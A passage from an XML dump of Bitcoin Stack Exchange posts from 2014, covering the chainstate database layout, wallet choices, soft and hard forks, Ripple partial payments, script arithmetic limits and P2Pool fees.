href=&quot;https://github.com/bitcoin/bitcoin/blob/d4a42334d447cad48fb3996cad0fd5c945b75571/src/coins.h#L19&quot; rel=&quot;noreferrer&quot;&gt;Each record stores:&lt;/a&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The version of the transaction.&lt;/li&gt;&#xA;&lt;li&gt;Whether the transaction was a coinbase or not.&lt;/li&gt;&#xA;&lt;li&gt;Which height block contains the transaction.&lt;/li&gt;&#xA;&lt;li&gt;Which outputs of that transaction are unspent.&lt;/li&gt;&#xA;&lt;li&gt;The scriptPubKey and amount for those unspent outputs.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;'B'&lt;/strong&gt; -&amp;gt; 32-byte block hash: the block hash up to which the database represents the unspent transaction outputs.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Latest version of bitcoind(please add version compatibility) uses &lt;a href=&quot;https://bitcoin.stackexchange.com/a/52167/26481&quot;&gt;obfuscation&lt;/a&gt; of the value in key/value pair . So you need to XOR with the obfuscation key to get the real value.&lt;/p&gt;&#xA;&lt;p&gt;I won't go into the specific serialization details of the particular records. They're often specially designed to be compact on disk, and not really intended to be easily usable by other applications (LevelDB doesn't support concurrent access from multiple applications anyway). There are several RPC methods for querying data from the databases (&lt;code&gt;getblock&lt;/code&gt;, &lt;code&gt;gettxoutsetinfo&lt;/code&gt;, &lt;code&gt;gettxout&lt;/code&gt;) without needing direct access.&lt;/p&gt;&#xA;&lt;p&gt;As you can see, only headers are stored inside this database. The actual blocks and transactions are stored in the block files, which are not databases, but just raw append-only files that contain the blocks in network format.&lt;/p&gt;&#xA;&lt;p&gt;As to your second question: what is &lt;code&gt;n&lt;/code&gt;? If you just want to access some records, sure, iterate over the keys and stop when you've read enough.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="51948" LastEditDate="2021-12-12T07:30:22.173" LastActivityDate="2021-12-12T07:30:22.173" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="29420" PostTypeId="1" CreationDate="2014-07-10T21:29:32.903" Score="1" ViewCount="50" Body="&lt;p&gt;I am creating an application which will be paying out some amount of BTC every hour to few  addresses. Is there a service that allows me to program the transactions or a wallet, which offers a feature like this?&#xA;Any suggestions ? &lt;/p&gt;&#xA;" OwnerUserId="9686" LastEditorUserId="9686" LastEditDate="2015-06-21T11:20:18.070" LastActivityDate="2015-06-21T11:20:18.070" Title="Autopayout Setup on a wallet" Tags="|wallet|payment|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29421" PostTypeId="2" ParentId="28363" CreationDate="2014-07-10T21:56:22.347" Score="1" Body="&lt;p&gt;At the protocol level Nxt doesn't support sending multiple payments with one transaction. Future versions may have this feature added.&lt;/p&gt;&#xA;" OwnerUserId="18526" LastActivityDate="2014-07-10T21:56:22.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29423" PostTypeId="1" AcceptedAnswerId="29424" CreationDate="2014-07-11T14:30:13.290" Score="3" ViewCount="329" Body="&lt;p&gt;When you are looking at a Bicoin transaction in the block chain and it has inputs from multiple addresses is it safe to assume that those addresses are all controlled by the same person/organization/wallet software?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of a transaction with 31 different input addresses&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/a6bffa6208c72412399997b0c504670662e259fd5ba50128d0e2823b739bd18b&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/a6bffa6208c72412399997b0c504670662e259fd5ba50128d0e2823b739bd18b&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have definitive proof that one of those addresses is associated with someone can I infer that the other 30 are as well?&lt;/p&gt;&#xA;" OwnerUserId="6310" LastEditorUserId="6310" LastEditDate="2014-07-11T14:43:44.677" LastActivityDate="2014-07-11T14:43:44.677" Title="Can you assume that all inputs to a Bitcoin transaction are controlled by the same person?" Tags="|transactions|blockchain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29424" PostTypeId="2" ParentId="29423" CreationDate="2014-07-11T14:35:28.490" Score="6" Body="&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In practice, it is likely, but in several more complex use cases, transactions can be jointly constructed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example CoinJoin implies combining both inputs and outputs from multiple people together into a single transaction to make it less obvious which outputs belong to whom.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-07-11T14:35:28.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29426" PostTypeId="2" ParentId="29416" CreationDate="2014-07-11T16:18:37.363" Score="1" Body="&lt;p&gt;The client needs to handle dividing up the extranonce2 across all workers. Proxies can do this by moving part of the extranonce2 into the extranonce1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, the entire pool uses the same job_id for any given template, though it's only guaranteed to be valid across a single connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no reason for a server to send a new mining.notify when additional workers authenticate, though there is no reason they couldn't choose to either. You'll notice that most servers send the first mining.notify &lt;em&gt;before any&lt;/em&gt; workers authenticate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The practical problem with multiple workers on a single connection is that share difficulty is &lt;em&gt;also&lt;/em&gt; set per-connection, and it is common that servers would want to give different workers their own difficulty levels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While multiple workers is not especially common, it is helpful to reduce bandwidth on a large network where you may want to track pool statistics per-worker - or even conceivably per-chip (though no software supports that as of this time).&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2014-07-11T16:18:37.363" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29427" PostTypeId="2" ParentId="28252" CreationDate="2014-07-11T17:06:26.753" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;They represent both the same &quot;information&quot;. The NXT-... is the same as&#xA;  the ID but expressed in Reed Solomon format which among other things&#xA;  has these benefits:&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;It can handle up to 2 typos, not that you should purposefully type it wrong, but if you write one or two wrong digits, your funds will&#xA;  still go to the designated account. It is not infallible but it gives&#xA;  an additional layer of &quot;confidence&quot;. &lt;/li&gt;&#xA;  &lt;li&gt;It is easier to read. A long string of numbers is not the easiest thing to read/digit, you leave a digit behind or type one wrong and&#xA;  your transaction goes to somebody else. &lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;  &#xA;  &lt;p&gt;more info:  &lt;a href=&quot;http://wiki.nxtcrypto.org/wiki/RS_Address_Format&quot; rel=&quot;nofollow&quot;&gt;http://wiki.nxtcrypto.org/wiki/RS_Address_Format&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;credit: &lt;a href=&quot;https://nxtforum.org/nxt-helpdesk/why-two-different-account-numbers/&quot; rel=&quot;nofollow&quot;&gt;https://nxtforum.org/nxt-helpdesk/why-two-different-account-numbers/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-07-11T17:06:26.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29429" PostTypeId="2" ParentId="9756" CreationDate="2014-07-12T02:14:24.100" Score="0" Body="&lt;p&gt;I agree with &lt;a href=&quot;https://bitcoin.stackexchange.com/a/20449/6218&quot;&gt;the other answer&lt;/a&gt;. But to be nicer. We all start somewhere. I mine on NVIDIA with CUDA miner and I use weMineLTC as my pool but P2Pool is the better route these days to protect from a 51% attack. BUT weMineLTC is easy to config and useful to get your berings.&lt;/p&gt;&#xA;" OwnerUserId="8999" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2014-10-12T08:07:28.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29431" PostTypeId="2" ParentId="28357" CreationDate="2014-07-12T10:26:33.167" Score="0" Body="&lt;p&gt;Just needed to be patient, is sorted now.&lt;/p&gt;&#xA;" OwnerUserId="18524" LastActivityDate="2014-07-12T10:26:33.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29432" PostTypeId="1" CreationDate="2014-07-12T10:30:33.843" Score="0" ViewCount="679" Body="&lt;p&gt;I have set up a node and been running for a few days now and a couple of payments have gone out form it which is good. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These payments are going to a coinbase wallet and there is a local wallet configured for fees and the fee is set to 5%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have had 2 payment come out of the system at around 0.002 BTC but no fee payments have been sent to the p2pool wallet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are they held to reach a certain amount or are they computed in a different way that on the payout amount. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="18524" LastActivityDate="2015-01-01T18:20:18.887" Title="When do P2Pool Node Fees get paid?" Tags="|bitcoin-core|p2pool|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29433" PostTypeId="2" ParentId="28388" CreationDate="2014-07-12T10:32:59.250" Score="-1" Body="&lt;p&gt;resolved now, it was the web interface causing a mass of errors that crashed the system.&lt;/p&gt;&#xA;" OwnerUserId="18524" LastActivityDate="2014-07-12T10:32:59.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29435" PostTypeId="1" CreationDate="2014-07-12T15:17:32.823" Score="1" ViewCount="487" Body="&lt;p&gt;How do arithmetic operations work in Bitcoin? If I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 5&#xA; OP_1ADD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it is obvious that I will get 6 on stack. But what if I have to make OP_1ADD on &quot;02c34538fc933799d972f55752d318c0328ca2bacccd5c7482119ea9da2df70a2f&quot;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &quot;02c34538fc933799d972f55752d318c0328ca2bacccd5c7482119ea9da2df70a2f&quot;&#xA; OP_1ADD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17107" LastActivityDate="2014-08-11T21:06:49.393" Title="Arithmetic operations in Bitcoin (OP_ADD, etc)" Tags="|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29436" PostTypeId="1" AcceptedAnswerId="29437" CreationDate="2014-07-12T20:21:37.600" Score="1" ViewCount="179" Body="&lt;p&gt;I realized a few days back, that if I send some bitcoins to someone, then it shows in blockchain an extra amount sent to my own wallet. So if I send 0.5 BTC from wallet A to B then blockchain shows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A--&amp;gt; B 0.5&#xA;A--&amp;gt;A  1  (basically sending it to my wallet as well.)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Today I noticed a different wallet address during a transaction. So it was like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A--&amp;gt; B 0.2&#xA;A--&amp;gt; C 0.5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Checking address C on blockchain, it gets sent back to A in some time. But since this morning, the bitcoins haven't come back to A. If I open my wallet on multibit, it shows the correct balance. However on blockchain, it's 0.5 less. The funds from C have not been sent back to A, but it shows on multibit the right balance in A.&lt;/p&gt;&#xA;" OwnerUserId="18337" LastEditorUserId="15412" LastEditDate="2014-07-12T21:01:04.590" LastActivityDate="2022-07-04T18:18:48.910" Title="Bitcoins being sent to another addres during a transaction" Tags="|transactions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29437" PostTypeId="2" ParentId="29436" CreationDate="2014-07-12T20:28:54.547" Score="3" Body="&lt;p&gt;Your total bitcoin balance consists of the combined total of several addresses. Your wallet contains one, some or many addresses, all of which may have bitcoins on them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I think that when inspecting your wallet with a tool like pywallet, you will find that both A and C are there.&lt;/p&gt;&#xA;" OwnerUserId="13163" LastEditorUserId="15412" LastEditDate="2014-07-12T21:04:02.150" LastActivityDate="2014-07-12T21:04:02.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29438" PostTypeId="2" ParentId="29435" CreationDate="2014-07-12T20:56:45.433" Score="1" Body="&lt;p&gt;Short answer: arithmetic on large numbers will cause the script to fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Script arithmetic is limited to 32-bit arithmetic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the code for arithmetic operations in &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/script.cpp&quot; rel=&quot;nofollow&quot;&gt;script.cpp&lt;/a&gt;, in the function &lt;code&gt;EvalScript&lt;/code&gt;, where the opcodes are evaluated using &lt;code&gt;CScriptNum&lt;/code&gt; in [script.h](&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/script.h]&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/src/script.h]&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The numeric limit is enforced through the constant &lt;code&gt;nMaxNumSize&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The CScriptNum constructor shows that numbers larger than 32 bits throw an exception, resulting in failure of the script.&lt;/p&gt;&#xA;" OwnerUserId="13163" LastActivityDate="2014-07-12T20:56:45.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29439" PostTypeId="2" ParentId="28383" CreationDate="2014-07-12T21:34:36.100" Score="7" Body="&lt;p&gt;Based on your ignorance of where to begin, I would strongly encourage you to use one of the existing wallets rather than trying to reinvent the wheel.  That said, if you're just using this as an exercise to learn the code, poking around in the code can be a great way to learn.  So here's what I can tell you about the wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) &lt;a href=&quot;https://bitcoinarmory.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Armory&lt;/a&gt; is the most full featured wallet, in my opinion, at the cost of using the most resources from your computer.  It's the one I use so I know the most about it out of all the wallets.  It used to load the blockchain into memory, but as the blockchain grew rapidly, that approach made Armory so RAM intensive that it was essentially unusable for everyone but those with a LOT of RAM.  If you want to use that old version, I'd recommend 8 GB+ RAM, the more you have, the better it'll run especially over the long haul since the blockchain is only going to get bigger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The core developer of Armory, Alan, realized this approach was unsustainable for the majority of Armory users so he redesigned it so that it now makes a copy of the blockchain and uses that instead of loading the entire blockchain.  The catch is, of course, that this means that using Armory as a full client means using 2X the size of the blockchain.  At present day, the blockchain uses up 22.6 GB according to my computer, so double that for the amount of space on your hard drive Armory needs.  It's a resource hog either way, but the tradeoff he made makes sense in my opinion since hard drive space is generally a lot more plentiful than RAM, and acquiring more if need be is also a lot cheaper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Armory is written in python.  I haven't looked at the code, but Alan has said on the bitcointalk forums that it's very well documented.  It has some very useful features including: a deterministic wallet, meaning that one backup will last you forever, regardless of how many addresses you use; cold storage that's easy to use, which is for most people the biggest benefit of Armory; and for web developers, there is an Armory Daemon that you can run on your website to accept bitcoin payments.  Unfortunately, it is no less resource intensive than the desktop version, and thus impractical unless you have essentially unlimited space on your web host.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) &lt;a href=&quot;http://docs.electrum.org/en/latest/faq.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Electrum&lt;/a&gt; is a lightweight bitcoin wallet that is also written in python.  Unlike with Armory, Electrum stores the full blockchain on servers that you access via the client / server model.  This means that Electrum uses no where near the amount of resources of Armory, it only requires that you host your wallet on your computer.  Electrum also supports cold storage and wallets can be recovered using a seed, meaning that you do not need to perform regular backups, you just need to ensure that you never lose / forget that seed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) &lt;a href=&quot;https://multibit.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Multibit&lt;/a&gt; is also a lightweight wallet that is written in Java.  It also operates on the client / server model like Electrum does.  According to &lt;a href=&quot;https://multibit.org/faq.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Multibit's FAQ&lt;/a&gt;, the portion of the blockchain that a user has to store is only about 25 MB, in other words, only containing your own transactions.  If you're not familar with how Bitcoin works in general, I would encourage you to check out Multibit's FAQ as it explains not just Multibit but how Bitcoin in general works.  Multibit's website does not advertise a deterministic wallet feature like Armory and Electrum do, so it may require regular backups like the original bitcoin wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) &lt;a href=&quot;https://hivewallet.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hivewallet&lt;/a&gt; is also a lightweight wallet that is written in Java.  Like Armory and Electrum, it is also deterministic.  According to its website, all you have to do is backup the password and you're set.  Hivewallet runs on OSX and Android Operating Systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) &lt;a href=&quot;https://bitcoin.org/en/download&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin core&lt;/a&gt; is the original bitcoin wallet.  Unlike Armory and Electrum, it is not deterministic.  Because of this, it is not recommended that you use this client to store your bitcoins because unlike the deterministic clients, it will require regular backups.  It is written in C++.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still want to dive into the code, I'd encourage you to pick a wallet where you're already familiar with the programming language to start with to simplify the learning curve so you'll only have to learn that wallet's code instead of that wallet's code and that programming language.&lt;/p&gt;&#xA;" OwnerUserId="3847" LastEditorUserId="30588" LastEditDate="2017-09-04T17:45:24.140" LastActivityDate="2017-09-04T17:45:24.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29440" PostTypeId="1" CreationDate="2014-07-12T21:46:59.817" Score="1" ViewCount="191" Body="&lt;p&gt;I read an article on cryptocoinsnews about sidechains and they said bitcoin can implement new features but any bugs would be dangerous to the whole bitcoin network. What I don't understand is who would be adding new features? Are there some people that continue to update bitcoin and can add code to the network bitcoin runs on?&lt;/p&gt;&#xA;" OwnerUserId="18516" LastEditorUserId="15412" LastEditDate="2014-07-12T22:40:48.313" LastActivityDate="2014-07-13T16:52:41.097" Title="Who controls the features added to the bitcoin network?" Tags="|bitcoind|bitcoin-foundation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29443" PostTypeId="1" AcceptedAnswerId="42822" CreationDate="2014-07-12T23:37:05.487" Score="1" ViewCount="127" Body="&lt;p&gt;The Ripple wiki has a page about &lt;a href=&quot;https://ripple.com/wiki/Gateway_demurrage&quot; rel=&quot;nofollow&quot;&gt;demurrage currencies&lt;/a&gt; being a possibility in Ripple. However, it's not entirely clear whether this feature is already implemented in the server or client, and if so, how to properly use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can one create a demurrage currency in Ripple, and if so, how does one do it?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="3364" LastEditDate="2014-07-13T10:52:41.637" LastActivityDate="2016-02-08T20:09:09.843" Title="Is demurrage already integrated into Ripple? If so, how does one create a demurrage currency?" Tags="|protocol|ripple|currencies|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29444" PostTypeId="2" ParentId="29440" CreationDate="2014-07-12T23:46:27.257" Score="5" Body="&lt;p&gt;To change Bitcoin, you must change the behavior of Bitcoin Core (or some other full Bitcoin client) and then convince people to use your modified version. Different levels of network adoption are required for different types of changes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the change only disallows certain transactions or blocks that were previously allowed, then the change can be applied by the majority of mining power. Only miners need to use the updated version of Bitcoin. This is called a &lt;em&gt;soft fork&lt;/em&gt;. For example, &lt;a href=&quot;https://en.bitcoin.it/wiki/Pay_to_script_hash&quot; rel=&quot;nofollow&quot;&gt;P2SH&lt;/a&gt; was a soft fork change. Miners updated over the course of several months. This went very smoothly and most people didn't even notice it happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding sidechains would be a soft fork change, as would most other feature enhancements. (It might not be obvious how disallowing certain transactions could be used to add new features, but it's usually possible if you're careful about it.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the change allows things that were previously disallowed, then each user individually decides whether to use the change or not. This is called a &lt;em&gt;hard fork&lt;/em&gt;. Even if &lt;em&gt;every&lt;/em&gt; other Bitcoin user and miner decided to increase the total BTC supply from 21 million to 50 million, you could continue using the old version of Bitcoin and you would be unaffected by this change. However, you would be unable to transact with people who use the modified version. As a result, this sort of change is likely to be widely accepted only if an &quot;economic supermajority&quot; accepts it. This means that the decisions of larger economic actors (exchanges, merchants, etc.) are more important than the decisions of regular Bitcoin users because more people will care about whether or not they can trade with them. In a hardfork, miners are not especially important.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There have been a few hardforks in the past, but most of them were in response to critical bugs that needed to be fixed immediately (such as the &lt;a href=&quot;https://en.bitcoin.it/wiki/Common_Vulnerabilities_and_Exposures#CVE-2013-3220&quot; rel=&quot;nofollow&quot;&gt;BDB lock limit bug&lt;/a&gt;). There's never been a hardfork that was controversial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note that if a softfork is enforced by miners but &lt;em&gt;not&lt;/em&gt; most users, then undoing it is not a hardfork change.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lightweight nodes like MultiBit or Electrum can't enforce the rules of Bitcoin properly, so they're at the mercy of some full nodes elsewhere. Exactly how this works depends on the client. This is why you really should use a full node if you can: it protects you and strengthens the economic power of the good network. Bitcoin Core is by far the most commonly-used full node client, so the Bitcoin Core developers will have a lot of influence over any proposal to do a hard/soft fork change. However, they still can't unilaterally change the network. Their changes need to be accepted by miners and/or users for the network to actually change. The network can also be changed by others if they can get people to use their modified Bitcoin client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify some common misconceptions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bitcoin is not a democracy of either miners or users. For the most important things, your Bitcoin client does what's right &lt;em&gt;no matter what&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The Bitcoin Core developers do not have absolute power over Bitcoin.&lt;/li&gt;&#xA;&lt;li&gt;The Bitcoin Core developers are separate from the Bitcoin Foundation, and the Bitcoin Foundation does not own bitcoin.org.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="403" LastEditorUserId="403" LastEditDate="2014-07-13T16:52:41.097" LastActivityDate="2014-07-13T16:52:41.097" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29445" PostTypeId="1" CreationDate="2014-07-13T00:18:28.023" Score="1" ViewCount="460" Body="&lt;p&gt;I've read on the Ripple Wiki page for Transactions about &lt;a href=&quot;https://ripple.com/wiki/Transaction_Format#Payment_.280.29&quot; rel=&quot;nofollow&quot;&gt;partial payments&lt;/a&gt;. I am wondering how a partial payment would look when data is polled about an account? Would the transaction amount be displayed as what the payment was attempted to be sent, or the amount that actually went through? Are there any examples of how partial payments look and how they should be handled by Gateways?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2014-07-13T01:25:42.520" Title="Ripple partial payments" Tags="|development|protocol|ripple|payment|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29447" PostTypeId="2" ParentId="29445" CreationDate="2014-07-13T01:25:42.520" Score="3" Body="&lt;p&gt;It's the choice of whatever is doing the display how it wants to display the information the Ripple network provides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original transaction is provided. This contains the source account, the destination account, the maximum amount the transaction could pay (the &quot;destination amount&quot;), the maximum amount the sender was willing to pay (the &quot;send maximum&quot;), and an indication that partial payments were allowed (the &quot;partial payment&quot; flag).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, the transaction metadata is provided. This contains the transaction result code which, if not success, indicates no payment at all was made. If the payment was able to be made completely, no &quot;DeliveredAmount&quot; field will be present in the metadata, indicating that the destination amount was in fact delivered to the destination. If the payment was in fact a partial payment, a &quot;DeliveredAmount&quot; field will be present, indicating the amount paid to the destination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The metadata also contains the other consequences of the transaction. This would include reducing the balance of the sender, crediting and debiting market makers involves in the transaction, reducing or removing offers the payment used, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some gateways do not credit partial payments automatically. It is not a good idea to make a partial payment unless there's a good reason to do so and you know the recipient wants or expects partial payments.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-07-13T01:25:42.520" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29450" PostTypeId="2" ParentId="29415" CreationDate="2014-07-13T12:20:57.887" Score="2" Body="&lt;p&gt;They don't reuse market IDs. For example, SaturnCoin (SAT) has been deleted and replaced with SAT2. That was market ID &lt;a href=&quot;http://saturncointalk.org/index.php?topic=26.0&quot; rel=&quot;nofollow&quot;&gt;168&lt;/a&gt;(search for cryptsy. It links to &lt;a href=&quot;https://www.cryptsy.com/markets/view/168&quot; rel=&quot;nofollow&quot;&gt;https://www.cryptsy.com/markets/view/168&lt;/a&gt;). If you want to go there, you'll be redirected to the home page. SAT2 has market ID 233. Why wouldn't they replace SAT/BCT with SAT2/BTC? Anyhow, market 248 (latest at the moment) does also exist, which is later introduced then SAT2 and probably also later then the removal of SAT. Based on this, I think I can safely say they will not reuse the market IDs. And why would they? It will only be confusing and frustrating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the other two exchanges, I am 100% sure they will not reuse their IDs. If you go to a specific markets, the url consists of something like &lt;code&gt;BC/BTC&lt;/code&gt;. Unless their is some new coin stupid enough to launch with the same abbreviation , there is no chance it will have the same ID. &lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2014-07-13T12:20:57.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29451" PostTypeId="1" CreationDate="2014-07-13T17:27:15.233" Score="1" ViewCount="116" Body="&lt;p&gt;Public key 3, 4 fits the equation of y^2 = x^2 + 7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet this comes up as an &quot;invalid public key&quot;.   How is that invalid?  Sure, it deviates extremely from other numbers, but what other equations are being applied to the public key to determine its validity?&lt;/p&gt;&#xA;" OwnerUserId="15552" LastActivityDate="2017-06-20T06:49:41.127" Title="Other ways to determine the validity of a public key" Tags="|development|protocol|public-key|ecdsa|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29452" PostTypeId="2" ParentId="8812" CreationDate="2014-07-13T18:28:07.850" Score="2" Body="&lt;p&gt;I think I got confused in the same manner, probably due to how the current bitcoin wiki on &lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions&quot; rel=&quot;nofollow&quot;&gt;Transactions&lt;/a&gt; is written, so I think I can explain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In every Bitcoin transaction, there is an input and output. The output contains the Bitcoin script (instructions for sending) so it contains the receiver's Bitcoin address. Input contains a reference to the previous output where the Bitcoins will be sent from, along with a signature to prove that the sender owns that address.  So let's say we have two transactions. A and B. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Input A / Output A] -&gt; [Input B (referencing Output A) / Output B]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a Bitcoin nodes receives transaction B, it runs a script using output A and Input B (input B is put on the top of the stack, and output A on the bottom). It seems that you are thinking that the script gets run on Input B and Output B, but this would clearly fail when running OP_EQUALVERIFY. &lt;/p&gt;&#xA;" OwnerUserId="7267" LastEditorUserId="7267" LastEditDate="2014-07-13T18:36:42.537" LastActivityDate="2014-07-13T18:36:42.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29453" PostTypeId="2" ParentId="28354" CreationDate="2014-07-13T19:54:52.513" Score="1" Body="&lt;p&gt;Only the size of the blockchain itself is the same for everybody. You can find graphs that show this size, for example &lt;a href=&quot;https://blockchain.info/charts/blocks-size&quot; rel=&quot;nofollow&quot;&gt;Blockchain Size&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the other files you mentioned are databases and indexes that your specific client uses to find blocks in the blockchain, or to keep track of transactions or unspent outputs. The sizes of these files are client-specific.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-07-13T19:54:52.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29454" PostTypeId="2" ParentId="11791" CreationDate="2014-07-13T21:10:48.183" Score="0" Body="&lt;p&gt;There is currently no way to operate a bitcoind wallet by solely connecting to a single peer through RPC calls. You would have to use a separate program on your windows computer. I'm not aware of any user friendly way to do this, but there are open source programs available like &lt;a href=&quot;https://github.com/jgarzik/python-bitcoinrpc&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jgarzik/python-bitcoinrpc&lt;/a&gt;. The -connect option will allow you to specify the peer you connect to, but since you are going to be downloading the entire block chain anyways on your Windows machine, it may or may not be what you want.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you go that route, by default bitcoind only accepts local RPC calls. To change this, you need to edit the bitcoin.conf file in the .bitcoin folder.&#xA;There is a parameter rpcallowip where you can define what ip's are allowed to make RPC calls. You do need to be aware that this is a potential vector of attack for hackers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See details about 